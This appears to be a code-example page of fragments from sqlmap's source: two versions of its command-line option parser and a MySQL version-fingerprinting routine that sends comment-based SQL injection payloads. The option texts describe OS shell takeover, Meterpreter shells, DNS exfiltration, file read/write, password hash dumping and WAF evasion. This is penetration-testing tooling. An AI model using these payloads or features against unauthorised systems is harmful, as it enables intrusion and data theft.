        miscellaneous.add_option("-z", dest="mnemonics",
                                 help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")

        miscellaneous.add_option("--alert", dest="alert",
                                 help="Run host OS command(s) when SQL injection is found")

        miscellaneous.add_option("--answers", dest="answers",
                                 help="Set predefined answers (e.g. \"quit=N,follow=N\")")

        miscellaneous.add_option("--beep", dest="beep", action="store_true",
                                 help="Beep on question and/or when SQL injection is found")

        miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
                                 help="Clean up the DBMS from sqlmap specific UDF and tables")

        miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
                                 help="Check for missing (optional) sqlmap dependencies")

        miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
                                 help="Disable console output coloring")

        miscellaneous.add_option("--gpage", dest="googlePage", type="int",
                                 help="Use Google dork results from specified page number")

        miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
                                 help="Make a thorough testing for a WAF/IPS protection")

        miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
                                 help="Display list of available tamper scripts")

        miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
                                 help="Imitate smartphone through HTTP User-Agent header")

        miscellaneous.add_option("--offline", dest="offline", action="store_true",
                                 help="Work in offline mode (only use session data)")

        miscellaneous.add_option("--purge", dest="purge", action="store_true",
                                 help="Safely remove all content from sqlmap data directory")

        miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
                                 help="Skip heuristic detection of WAF/IPS protection")

        miscellaneous.add_option("--smart", dest="smart", action="store_true",
                                 help="Conduct thorough tests only if positive heuristic(s)")

        miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
                                 help="Prompt for an interactive sqlmap shell")

        miscellaneous.add_option("--tmp-dir", dest="tmpDir",
                                 help="Local directory for storing temporary files")

        miscellaneous.add_option("--web-root", dest="webRoot",
                                 help="Web server document root directory (e.g. \"/var/www\")")

        miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
                                 help="Simple wizard interface for beginner users")

        # Hidden and/or experimental options
        parser.add_option("--crack", dest="hashFile",
                          help=SUPPRESS_HELP)
#                          help="Load and crack hashes from a file (standalone)")

        parser.add_option("--dummy", dest="dummy", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--murphy-rate", dest="murphyRate", type="int",
                          help=SUPPRESS_HELP)

        parser.add_option("--disable-precon", dest="disablePrecon", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--disable-stats", dest="disableStats", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--profile", dest="profile", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--force-dbms", dest="forceDbms",
                          help=SUPPRESS_HELP)

        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--force-threads", dest="forceThreads", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--smoke-test", dest="smokeTest", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--live-test", dest="liveTest", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--stop-fail", dest="stopFail", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP)

        # API options
        parser.add_option("--api", dest="api", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--taskid", dest="taskid", help=SUPPRESS_HELP)

        parser.add_option("--database", dest="database", help=SUPPRESS_HELP)

        parser.add_option_group(target)
        parser.add_option_group(request)
        parser.add_option_group(optimization)
        parser.add_option_group(injection)
        parser.add_option_group(detection)
        parser.add_option_group(techniques)
        parser.add_option_group(fingerprint)
        parser.add_option_group(enumeration)
        parser.add_option_group(brute)
        parser.add_option_group(udf)
        parser.add_option_group(filesystem)
        parser.add_option_group(takeover)
        parser.add_option_group(windows)
        parser.add_option_group(general)
        parser.add_option_group(miscellaneous)

        # Dirty hack to display longer options without breaking into two lines
        def _(self, *args):
            retVal = parser.formatter._format_option_strings(*args)
            if len(retVal) > MAX_HELP_OPTION_LENGTH:
                retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal
            return retVal

        parser.formatter._format_option_strings = parser.formatter.format_option_strings
        parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))

        # Dirty hack for making a short option '-hh'
        option = parser.get_option("--hh")
        option._short_opts = ["-hh"]
        option._long_opts = []

        # Dirty hack for inherent help message of switch '-h'
        option = parser.get_option("-h")
        option.help = option.help.capitalize().replace("this help", "basic help")

        _ = []
        prompt = False
        advancedHelp = True
        extraHeaders = []
        tamperIndex = None

        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
        for arg in argv:
            _.append(getUnicode(arg, encoding=sys.stdin.encoding))

        argv = _
        checkDeprecatedOptions(argv)

        prompt = "--sqlmap-shell" in argv

        if prompt:
            parser.usage = ""
            cmdLineOptions.sqlmapShell = True

            _ = ["x", "q", "exit", "quit", "clear"]

            for option in parser.option_list:
                _.extend(option._long_opts)
                _.extend(option._short_opts)

            for group in parser.option_groups:
                for option in group.option_list:
                    _.extend(option._long_opts)
                    _.extend(option._short_opts)

            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_)

            while True:
                command = None

                try:
                    command = raw_input("sqlmap-shell> ").strip()
                    command = getUnicode(command, encoding=sys.stdin.encoding)
                except (KeyboardInterrupt, EOFError):
                    print()
                    raise SqlmapShellQuitException

                if not command:
                    continue
                elif command.lower() == "clear":
                    clearHistory()
                    dataToStdout("[i] history cleared\n")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in ("x", "q", "exit", "quit"):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
                    dataToStdout("[!] invalid option(s) provided\n")
                    dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    break

            try:
                for arg in shlex.split(command):
                    argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
            except ValueError as ex:
                raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)

        for i in xrange(len(argv)):
            if argv[i] == "-hh":
                argv[i] = "-h"
            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
                raise SystemExit
            elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
                dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
                raise SystemExit
            elif re.search(r"\A-\w=.+", argv[i]):
                dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
                raise SystemExit
            elif argv[i].startswith("--tamper"):
                if tamperIndex is None:
                    tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
                else:
                    argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
                    argv[i] = ""
            elif argv[i] == "-H":
                if i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
            elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
                argv[i] = argv[i][:-1]
                conf.skipThreadCheck = True
            elif argv[i] == "--version":
                print(VERSION_STRING.split('/')[-1])
                raise SystemExit
            elif argv[i] in ("-h", "--help"):
                advancedHelp = False
                for group in parser.option_groups[:]:
                    found = False
                    for option in group.option_list:
                        if option.dest not in BASIC_HELP_ITEMS:
                            option.help = SUPPRESS_HELP
                        else:
                            found = True
                    if not found:
                        parser.option_groups.remove(group)

        for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
            try:
                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
                    conf.verbose = verbosity.count('v') + 1
                    del argv[argv.index(verbosity)]
            except (IndexError, ValueError):
                pass

        try:
            (args, _) = parser.parse_args(argv)
        except UnicodeEncodeError as ex:
            dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
            raise SystemExit
        except SystemExit:
            if "-h" in argv and not advancedHelp:
                dataToStdout("\n[!] to see full list of options run with '-hh'\n")
            raise

        if extraHeaders:
            if not args.headers:
                args.headers = ""
            delimiter = "\\n" if "\\n" in args.headers else "\n"
            args.headers += delimiter + delimiter.join(extraHeaders)

        # Expand given mnemonic options (e.g. -z "ign,flu,bat")
        for i in xrange(len(argv) - 1):
            if argv[i] == "-z":
                expandMnemonics(argv[i + 1], parser, args)

        if args.dummy:
            args.url = args.url or DUMMY_URL

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
            errMsg += "Use -h for basic and -hh for advanced help\n"
            parser.error(errMsg)

        return args

    except (OptionError, TypeError) as ex:
        parser.error(ex)

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
            dataToStdout("\nPress Enter to continue...")
            raw_input()
        raise

    debugMsg = "parsing command line"
    logger.debug(debugMsg)
Beispiel #41
0
    def _commentCheck(self):
        infoMsg = u"执行%s注释注入指纹" % DBMS.MYSQL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(
            "[RANDNUM]=[RANDNUM]/* NoValue */")

        if not result:
            warnMsg = u"无法执行%s注释" % DBMS.MYSQL
            logger.warn(warnMsg)

            return None

        # Reference: https://downloads.mysql.com/archives/community/
        versions = (
            (32200, 32235),  # MySQL 3.22
            (32300, 32359),  # MySQL 3.23
            (40000, 40032),  # MySQL 4.0
            (40100, 40131),  # MySQL 4.1
            (50000, 50096),  # MySQL 5.0
            (50100, 50172),  # MySQL 5.1
            (50400, 50404),  # MySQL 5.4
            (50500, 50554),  # MySQL 5.5
            (50600, 50635),  # MySQL 5.6
            (50700, 50717),  # MySQL 5.7
            (60000, 60014),  # MySQL 6.0
        )

        index = -1
        for i in xrange(len(versions)):
            element = versions[i]
            version = element[0]
            version = getUnicode(version)
            result = inject.checkBooleanExpression(
                "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" %
                version)

            if result:
                break
            else:
                index += 1

        if index >= 0:
            prevVer = None

            for version in xrange(versions[index][0], versions[index][1] + 1):
                version = getUnicode(version)
                result = inject.checkBooleanExpression(
                    "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" %
                    version)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Beispiel #42
0
def cmdLineParser():
    """
    This function parses the command line parameters and arguments
    """

    checkSystemEncoding()

    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
            "\"%s\"" % sys.argv[0] if " " in sys.argv[0] else sys.argv[0])

    parser = OptionParser(usage=usage)

    try:
        parser.add_option("--hh", dest="advancedHelp",
                          action="store_true",
                          help="Show advanced help message and exit")

        parser.add_option("--version", dest="showVersion",
                          action="store_true",
                          help="Show program's version number and exit")

        parser.add_option("-v", dest="verbose", type="int",
                          help="Verbosity level: 0-6 (default %d)" % defaults.verbose)

        # Target options
        target = OptionGroup(parser, "Target", "At least one of these "
                             "options has to be provided to set the target(s)")

        target.add_option("-d", dest="direct", help="Direct "
                          "connection to the database")

        target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"www.target.com/vuln.php?id=1\")")

        target.add_option("-l", dest="logFile", help="Parse targets from Burp "
                          "or WebScarab proxy logs")

        target.add_option("-m", dest="bulkFile", help="Scan multiple targets enlisted "
                          "in a given textual file ")

        target.add_option("-r", dest="requestFile",
                          help="Load HTTP request from a file")

        target.add_option("-g", dest="googleDork",
                          help="Process Google dork results as target URLs")

        target.add_option("-c", dest="configFile",
                          help="Load options from a configuration INI file")

        # Request options
        request = OptionGroup(parser, "Request", "These options can be used "
                              "to specify how to connect to the target URL")

        request.add_option("--data", dest="data",
                           help="Data string to be sent through POST")

        request.add_option("--param-del", dest="pDel",
                           help="Character used for splitting parameter values")

        request.add_option("--cookie", dest="cookie",
                           help="HTTP Cookie header")

        request.add_option("--cookie-del", dest="cDel",
                           help="Character used for splitting cookie values")

        request.add_option("--load-cookies", dest="loadCookies",
                           help="File containing cookies in Netscape/wget format")

        request.add_option("--drop-set-cookie", dest="dropSetCookie",
                           action="store_true",
                           help="Ignore Set-Cookie header from response")

        request.add_option("--user-agent", dest="agent",
                           help="HTTP User-Agent header")

        request.add_option("--random-agent", dest="randomAgent",
                           action="store_true",
                           help="Use randomly selected HTTP User-Agent header")

        request.add_option("--host", dest="host",
                           help="HTTP Host header")

        request.add_option("--referer", dest="referer",
                           help="HTTP Referer header")

        request.add_option("--headers", dest="headers",
                           help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")

        request.add_option("--auth-type", dest="authType",
                           help="HTTP authentication type "
                                "(Basic, Digest, NTLM or Cert)")

        request.add_option("--auth-cred", dest="authCred",
                           help="HTTP authentication credentials "
                                "(name:password)")

        request.add_option("--auth-cert", dest="authCert",
                           help="HTTP authentication certificate ("
                                "key_file,cert_file)")

        request.add_option("--proxy", dest="proxy",
                           help="Use a proxy to connect to the target URL")

        request.add_option("--proxy-cred", dest="proxyCred",
                           help="Proxy authentication credentials "
                                "(name:password)")

        request.add_option("--proxy-file", dest="proxyFile",
                           help="Load proxy list from a file")

        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                           help="Ignore system default proxy settings")

        request.add_option("--tor", dest="tor",
                                  action="store_true",
                                  help="Use Tor anonymity network")

        request.add_option("--tor-port", dest="torPort",
                                  help="Set Tor proxy port other than default")

        request.add_option("--tor-type", dest="torType",
                                  help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)")

        request.add_option("--check-tor", dest="checkTor",
                                  action="store_true",
                                  help="Check to see if Tor is used properly")

        request.add_option("--delay", dest="delay", type="float",
                           help="Delay in seconds between each HTTP request")

        request.add_option("--timeout", dest="timeout", type="float",
                           help="Seconds to wait before timeout connection "
                                "(default %d)" % defaults.timeout)

        request.add_option("--retries", dest="retries", type="int",
                           help="Retries when the connection timeouts "
                                "(default %d)" % defaults.retries)

        request.add_option("--randomize", dest="rParam",
                           help="Randomly change value for given parameter(s)")

        request.add_option("--safe-url", dest="safUrl",
                           help="URL address to visit frequently during testing")

        request.add_option("--safe-freq", dest="saFreq", type="int",
                           help="Test requests between two visits to a given safe URL")

        request.add_option("--skip-urlencode", dest="skipUrlEncode",
                           action="store_true",
                           help="Skip URL encoding of payload data")

        request.add_option("--force-ssl", dest="forceSSL",
                           action="store_true",
                           help="Force usage of SSL/HTTPS")

        request.add_option("--hpp", dest="hpp",
                                  action="store_true",
                                  help="Use HTTP parameter pollution")

        request.add_option("--eval", dest="evalCode",
                           help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")

        # Optimization options
        optimization = OptionGroup(parser, "Optimization", "These "
                               "options can be used to optimize the "
                               "performance of sqlmap")

        optimization.add_option("-o", dest="optimize",
                                 action="store_true",
                                 help="Turn on all optimization switches")

        optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
                          help="Predict common queries output")

        optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
                           help="Use persistent HTTP(s) connections")

        optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
                          help="Retrieve page length without actual HTTP response body")

        optimization.add_option("--threads", dest="threads", type="int",
                           help="Max number of concurrent HTTP(s) "
                                "requests (default %d)" % defaults.threads)

        # Injection options
        injection = OptionGroup(parser, "Injection", "These options can be "
                                "used to specify which parameters to test "
                                "for, provide custom injection payloads and "
                                "optional tampering scripts")

        injection.add_option("-p", dest="testParameter",
                             help="Testable parameter(s)")

        injection.add_option("--skip", dest="skip",
                             help="Skip testing for given parameter(s)")

        injection.add_option("--dbms", dest="dbms",
                             help="Force back-end DBMS to this value")

        injection.add_option("--dbms-cred", dest="dbmsCred",
                            help="DBMS authentication credentials (user:password)")

        injection.add_option("--os", dest="os",
                             help="Force back-end DBMS operating system "
                                  "to this value")

        injection.add_option("--invalid-bignum", dest="invalidBignum",
                             action="store_true",
                             help="Use big numbers for invalidating values")

        injection.add_option("--invalid-logical", dest="invalidLogical",
                             action="store_true",
                             help="Use logical operations for invalidating values")

        injection.add_option("--no-cast", dest="noCast",
                             action="store_true",
                             help="Turn off payload casting mechanism")

        injection.add_option("--no-escape", dest="noEscape",
                             action="store_true",
                             help="Turn off string escaping mechanism")

        injection.add_option("--prefix", dest="prefix",
                             help="Injection payload prefix string")

        injection.add_option("--suffix", dest="suffix",
                             help="Injection payload suffix string")

        injection.add_option("--tamper", dest="tamper",
                             help="Use given script(s) for tampering injection data")

        # Detection options
        detection = OptionGroup(parser, "Detection", "These options can be "
                                "used to customize the detection phase")

        detection.add_option("--level", dest="level", type="int",
                             help="Level of tests to perform (1-5, "
                                  "default %d)" % defaults.level)

        detection.add_option("--risk", dest="risk", type="int",
                             help="Risk of tests to perform (0-3, "
                                  "default %d)" % defaults.level)

        detection.add_option("--string", dest="string",
                             help="String to match when "
                                  "query is evaluated to True")

        detection.add_option("--not-string", dest="notString",
                             help="String to match when "
                                  "query is evaluated to False")

        detection.add_option("--regexp", dest="regexp",
                             help="Regexp to match when "
                                  "query is evaluated to True")

        detection.add_option("--code", dest="code", type="int",
                             help="HTTP code to match when "
                                  "query is evaluated to True")

        detection.add_option("--text-only", dest="textOnly",
                             action="store_true",
                             help="Compare pages based only on the textual content")

        detection.add_option("--titles", dest="titles",
                             action="store_true",
                             help="Compare pages based only on their titles")

        # Techniques options
        techniques = OptionGroup(parser, "Techniques", "These options can be "
                                 "used to tweak testing of specific SQL "
                                 "injection techniques")

        techniques.add_option("--technique", dest="tech",
                              help="SQL injection techniques to use "
                                   "(default \"%s\")" % defaults.tech)

        techniques.add_option("--time-sec", dest="timeSec",
                              type="int",
                              help="Seconds to delay the DBMS response "
                                   "(default %d)" % defaults.timeSec)

        techniques.add_option("--union-cols", dest="uCols",
                              help="Range of columns to test for UNION query SQL injection")

        techniques.add_option("--union-char", dest="uChar",
                              help="Character to use for bruteforcing number of columns")

        techniques.add_option("--union-from", dest="uFrom",
                              help="Table to use in FROM part of UNION query SQL injection")

        techniques.add_option("--dns-domain", dest="dnsName",
                              help="Domain name used for DNS exfiltration attack")

        techniques.add_option("--second-order", dest="secondOrder",
                             help="Resulting page URL searched for second-order "
                                  "response")

        # Fingerprint options
        fingerprint = OptionGroup(parser, "Fingerprint")

        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
                               action="store_true",
                               help="Perform an extensive DBMS version fingerprint")

        # Enumeration options
        enumeration = OptionGroup(parser, "Enumeration", "These options can "
                                  "be used to enumerate the back-end database "
                                  "management system information, structure "
                                  "and data contained in the tables. Moreover "
                                  "you can run your own SQL statements")

        enumeration.add_option("-a", "--all", dest="getAll",
                               action="store_true", help="Retrieve everything")

        enumeration.add_option("-b", "--banner", dest="getBanner",
                               action="store_true", help="Retrieve DBMS banner")

        enumeration.add_option("--current-user", dest="getCurrentUser",
                               action="store_true",
                               help="Retrieve DBMS current user")

        enumeration.add_option("--current-db", dest="getCurrentDb",
                               action="store_true",
                               help="Retrieve DBMS current database")

        enumeration.add_option("--hostname", dest="getHostname",
                               action="store_true",
                               help="Retrieve DBMS server hostname")

        enumeration.add_option("--is-dba", dest="isDba",
                               action="store_true",
                               help="Detect if the DBMS current user is DBA")

        enumeration.add_option("--users", dest="getUsers", action="store_true",
                               help="Enumerate DBMS users")

        enumeration.add_option("--passwords", dest="getPasswordHashes",
                               action="store_true",
                               help="Enumerate DBMS users password hashes")

        enumeration.add_option("--privileges", dest="getPrivileges",
                               action="store_true",
                               help="Enumerate DBMS users privileges")

        enumeration.add_option("--roles", dest="getRoles",
                               action="store_true",
                               help="Enumerate DBMS users roles")

        enumeration.add_option("--dbs", dest="getDbs", action="store_true",
                               help="Enumerate DBMS databases")

        enumeration.add_option("--tables", dest="getTables", action="store_true",
                               help="Enumerate DBMS database tables")

        enumeration.add_option("--columns", dest="getColumns", action="store_true",
                               help="Enumerate DBMS database table columns")

        enumeration.add_option("--schema", dest="getSchema", action="store_true",
                               help="Enumerate DBMS schema")

        enumeration.add_option("--count", dest="getCount", action="store_true",
                               help="Retrieve number of entries for table(s)")

        enumeration.add_option("--dump", dest="dumpTable", action="store_true",
                               help="Dump DBMS database table entries")

        enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
                               help="Dump all DBMS databases tables entries")

        enumeration.add_option("--search", dest="search", action="store_true",
                               help="Search column(s), table(s) and/or database name(s)")

        enumeration.add_option("--comments", dest="getComments", action="store_true",
                               help="Retrieve DBMS comments")

        enumeration.add_option("-D", dest="db",
                               help="DBMS database to enumerate")

        enumeration.add_option("-T", dest="tbl",
                               help="DBMS database table to enumerate")

        enumeration.add_option("-C", dest="col",
                               help="DBMS database table column to enumerate")

        enumeration.add_option("-U", dest="user",
                               help="DBMS user to enumerate")

        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
                               action="store_true",
                               help="Exclude DBMS system databases when "
                                    "enumerating tables")

        enumeration.add_option("--start", dest="limitStart", type="int",
                               help="First query output entry to retrieve")

        enumeration.add_option("--stop", dest="limitStop", type="int",
                               help="Last query output entry to retrieve")

        enumeration.add_option("--first", dest="firstChar", type="int",
                               help="First query output word character to retrieve")

        enumeration.add_option("--last", dest="lastChar", type="int",
                               help="Last query output word character to retrieve")

        enumeration.add_option("--sql-query", dest="query",
                               help="SQL statement to be executed")

        enumeration.add_option("--sql-shell", dest="sqlShell",
                               action="store_true",
                               help="Prompt for an interactive SQL shell")

        enumeration.add_option("--sql-file", dest="sqlFile",
                               help="Execute SQL statements from given file(s)")

        # User-defined function options
        brute = OptionGroup(parser, "Brute force", "These "
                          "options can be used to run brute force "
                          "checks")

        brute.add_option("--common-tables", dest="commonTables", action="store_true",
                               help="Check existence of common tables")

        brute.add_option("--common-columns", dest="commonColumns", action="store_true",
                               help="Check existence of common columns")

        # User-defined function options
        udf = OptionGroup(parser, "User-defined function injection", "These "
                          "options can be used to create custom user-defined "
                          "functions")

        udf.add_option("--udf-inject", dest="udfInject", action="store_true",
                       help="Inject custom user-defined functions")

        udf.add_option("--shared-lib", dest="shLib",
                       help="Local path of the shared library")

        # File system options
        filesystem = OptionGroup(parser, "File system access", "These options "
                                 "can be used to access the back-end database "
                                 "management system underlying file system")

        filesystem.add_option("--file-read", dest="rFile",
                              help="Read a file from the back-end DBMS "
                                   "file system")

        filesystem.add_option("--file-write", dest="wFile",
                              help="Write a local file on the back-end "
                                   "DBMS file system")

        filesystem.add_option("--file-dest", dest="dFile",
                              help="Back-end DBMS absolute filepath to "
                                   "write to")

        # Takeover options
        takeover = OptionGroup(parser, "Operating system access", "These "
                               "options can be used to access the back-end "
                               "database management system underlying "
                               "operating system")

        takeover.add_option("--os-cmd", dest="osCmd",
                            help="Execute an operating system command")

        takeover.add_option("--os-shell", dest="osShell",
                            action="store_true",
                            help="Prompt for an interactive operating "
                                 "system shell")

        takeover.add_option("--os-pwn", dest="osPwn",
                            action="store_true",
                            help="Prompt for an OOB shell, "
                                 "meterpreter or VNC")

        takeover.add_option("--os-smbrelay", dest="osSmb",
                            action="store_true",
                            help="One click prompt for an OOB shell, "
                                 "meterpreter or VNC")

        takeover.add_option("--os-bof", dest="osBof",
                            action="store_true",
                            help="Stored procedure buffer overflow "
                                 "exploitation")

        takeover.add_option("--priv-esc", dest="privEsc",
                            action="store_true",
                            help="Database process user privilege escalation")

        takeover.add_option("--msf-path", dest="msfPath",
                            help="Local path where Metasploit Framework "
                                 "is installed")

        takeover.add_option("--tmp-path", dest="tmpPath",
                            help="Remote absolute path of temporary files "
                                 "directory")

        # Windows registry options
        windows = OptionGroup(parser, "Windows registry access", "These "
                               "options can be used to access the back-end "
                               "database management system Windows "
                               "registry")

        windows.add_option("--reg-read", dest="regRead",
                            action="store_true",
                            help="Read a Windows registry key value")

        windows.add_option("--reg-add", dest="regAdd",
                            action="store_true",
                            help="Write a Windows registry key value data")

        windows.add_option("--reg-del", dest="regDel",
                            action="store_true",
                            help="Delete a Windows registry key value")

        windows.add_option("--reg-key", dest="regKey",
                            help="Windows registry key")

        windows.add_option("--reg-value", dest="regVal",
                            help="Windows registry key value")

        windows.add_option("--reg-data", dest="regData",
                            help="Windows registry key value data")

        windows.add_option("--reg-type", dest="regType",
                            help="Windows registry key value type")

        # General options
        general = OptionGroup(parser, "General", "These options can be used "
                             "to set some general working parameters")

        #general.add_option("-x", dest="xmlFile",
        #                    help="Dump the data into an XML file")

        general.add_option("-s", dest="sessionFile",
                            help="Load session from a stored (.sqlite) file")

        general.add_option("-t", dest="trafficFile",
                            help="Log all HTTP traffic into a "
                            "textual file")

        general.add_option("--batch", dest="batch",
                            action="store_true",
                            help="Never ask for user input, use the default behaviour")

        general.add_option("--charset", dest="charset",
                            help="Force character encoding used for data retrieval")

        general.add_option("--crawl", dest="crawlDepth", type="int",
                                  help="Crawl the website starting from the target URL")

        general.add_option("--csv-del", dest="csvDel",
                                  help="Delimiting character used in CSV output "
                                  "(default \"%s\")" % defaults.csvDel)

        general.add_option("--dump-format", dest="dumpFormat",
                                  help="Format of dumped data (CSV (default), HTML or SQLITE)")

        general.add_option("--eta", dest="eta",
                            action="store_true",
                            help="Display for each output the "
                                 "estimated time of arrival")

        general.add_option("--flush-session", dest="flushSession",
                            action="store_true",
                            help="Flush session files for current target")

        general.add_option("--forms", dest="forms",
                                  action="store_true",
                                  help="Parse and test forms on target URL")

        general.add_option("--fresh-queries", dest="freshQueries",
                            action="store_true",
                            help="Ignore query results stored in session file")

        general.add_option("--hex", dest="hexConvert",
                            action="store_true",
                            help="Use DBMS hex function(s) for data retrieval")

        general.add_option("--output-dir", dest="oDir",
                            action="store",
                            help="Custom output directory path")

        general.add_option("--parse-errors", dest="parseErrors",
                                  action="store_true",
                                  help="Parse and display DBMS error messages from responses")

        general.add_option("--pivot-column", dest="pivotColumn",
                               help="Pivot column name")

        general.add_option("--save", dest="saveCmdline",
                            action="store_true",
                            help="Save options to a configuration INI file")

        general.add_option("--scope", dest="scope",
                           help="Regexp to filter targets from provided proxy log")

        general.add_option("--test-filter", dest="testFilter",
                           help="Select tests by payloads and/or titles (e.g. ROW)")

        general.add_option("--update", dest="updateAll",
                            action="store_true",
                            help="Update sqlmap")

        # Miscellaneous options
        miscellaneous = OptionGroup(parser, "Miscellaneous")

        miscellaneous.add_option("-z", dest="mnemonics",
                               help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")

        miscellaneous.add_option("--alert", dest="alert",
                                  help="Run shell command(s) when SQL injection is found")

        miscellaneous.add_option("--answers", dest="answers",
                                  help="Set question answers (e.g. \"quit=N,follow=N\")")

        miscellaneous.add_option("--beep", dest="beep", action="store_true",
                                  help="Make a beep sound when SQL injection is found")

        miscellaneous.add_option("--check-waf", dest="checkWaf",
                                  action="store_true",
                                  help="Heuristically check for WAF/IPS/IDS protection")

        miscellaneous.add_option("--cleanup", dest="cleanup",
                                  action="store_true",
                                  help="Clean up the DBMS from sqlmap specific "
                                  "UDF and tables")

        miscellaneous.add_option("--dependencies", dest="dependencies",
                                  action="store_true",
                                  help="Check for missing (non-core) sqlmap dependencies")

        miscellaneous.add_option("--disable-coloring", dest="disableColoring",
                                  action="store_true",
                                  help="Disable console output coloring")

        miscellaneous.add_option("--gpage", dest="googlePage", type="int",
                                  help="Use Google dork results from specified page number")

        miscellaneous.add_option("--identify-waf", dest="identifyWaf",
                                  action="store_true",
                                  help="Make a through testing for a WAF/IPS/IDS protection")

        miscellaneous.add_option("--mobile", dest="mobile",
                                  action="store_true",
                                  help="Imitate smartphone through HTTP User-Agent header")

        miscellaneous.add_option("--page-rank", dest="pageRank",
                                  action="store_true",
                                  help="Display page rank (PR) for Google dork results")

        miscellaneous.add_option("--purge-output", dest="purgeOutput",
                                  action="store_true",
                                  help="Safely remove all content from output directory")

        miscellaneous.add_option("--smart", dest="smart",
                                  action="store_true",
                                  help="Conduct through tests only if positive heuristic(s)")

        miscellaneous.add_option("--wizard", dest="wizard",
                                  action="store_true",
                                  help="Simple wizard interface for beginner users")

        # Hidden and/or experimental options
        parser.add_option("--dummy", dest="dummy", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--pickled-options", dest="pickledOptions",
                          help=SUPPRESS_HELP)

        parser.add_option("--profile", dest="profile", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--binary-fields", dest="binaryFields",
                          help=SUPPRESS_HELP)

        parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int",
                          help=SUPPRESS_HELP)

        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

